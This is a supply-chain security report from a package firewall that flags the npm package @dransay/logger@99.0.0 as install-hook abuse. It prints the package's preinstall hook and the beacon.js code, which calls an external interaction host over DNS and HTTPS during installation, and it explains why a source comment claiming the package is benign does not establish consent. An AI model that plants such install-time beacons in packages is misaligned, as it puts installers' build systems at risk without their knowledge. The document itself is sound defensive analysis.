registry / Install hook abuse / @dransay/logger

@dransay/logger

Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report #YWH-PGM42275-93). No data collection; see README.

This report shows the evidence for @dransay/logger@99.0.0. 1 of 2 known versions is blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The automatic install-time network beacon is concrete behavior, and the source's claim of benignness is not proof of consent. This supports blocking the package despite the limited data sent.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm runs the package's preinstall hook.

Impact

The external host can observe that this package was installed; inspected code does not transmit environment or file contents.

Mechanism

The hook starts a DNS lookup and an HTTPS GET whose path contains the package name.

Attack narrative

During preinstall, beacon.js sends a DNS lookup and HTTPS request to an external host, identifying the package by name. The source also asserts its own benignness and attributes publication to a triage team, which does not establish consent. The inspected request does not include environment variables or file contents.

AI rationale

The automatic install-time network beacon is concrete behavior, and the source's claim of benignness is not proof of consent. This supports blocking the package despite the limited data sent.

Evidence

package.jsonbeacon.js

Network endpoints1

db3klhbi6i9hark1kegg174t38h33b6wt.oast.site

Decision evidence

public snapshot

AI called this Malicious at 91.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook runs beacon.js automatically.
beacon.js sends a DNS lookup and HTTPS GET to db3klhbi6i9hark1kegg174t38h33b6wt.oast.site, with the package name in the request.
The source asserts that the package is benign and invokes a named triage team; package claims of benignness are not evidence of consent.

Evidence against

The request contains only the fixed package name; inspected code does not read environment variables or local files.
The network operations have error and timeout handlers and do not block installation.

Behavioral surface

Source

Network

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 1000 B of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node beacon.js" } }

High

Suspicious Lifecycle Evidence

The preinstall hook runs beacon.js automatically.

package.jsonView on unpkg · L11

beacon.jsView file

•matchType = malicious_source_fingerprint_signature signature = a342d9b9bd7e4109 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @dransay/api@99.0.0 matchedPath = beacon.js matchedIdentity = npm:QGRyYW5zYXkvYXBp:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.jsView on unpkg

11try { var pkg = 'logger'; var d = '[redacted].oast.site'; require('dns').lookup(pkg + '.' + d, function () {}); var req = require('https').get({ host: d, path: '/' + pkg, timeout: 2500 }, function (res) { res.resume(); }); req.on('error', function () {}); req.on('timeout', function () { req.destroy(); }); } catch (e) {}

High

Ai Review Evidence

beacon.js sends a DNS lookup and HTTPS GET to db3klhbi6i9hark1kegg174t38h33b6wt.oast.site, with the package name in the request.

beacon.jsView on unpkg · L11

1// Benign dependency-confusion interaction beacon — NOT malware. // Published at the explicit request of the DrAnsay / YesWeHack triage team // (report #YWH-PGM42275-93) to determine whether DrAnsay build systems resolve // inte

High

Ai Review Evidence

The source asserts that the package is benign and invokes a named triage team; package claims of benignness are not evidence of consent.

beacon.jsView on unpkg · L1

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node beacon.js" } }

High

Suspicious Lifecycle Evidence

The preinstall hook runs beacon.js automatically.

package.jsonView on unpkg · L11

beacon.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.js

Findings

5 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturebeacon.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @dransay/logger@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @dransay/logger@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 06:39:00.003Z (UTC).

Source advisory published: 2026-10-08 07:58:52.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.0.0latestshownMaliciousInstall Hook AbuseBlockPublishedOct 8, 2026, 7:58 AM 0.0.1Clean—AllowPublishedSep 29, 2026, 10:29 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @dransay

Other install hook abuse packages

Related packages

More from @dransay

Other install hook abuse packages

Source & flagged code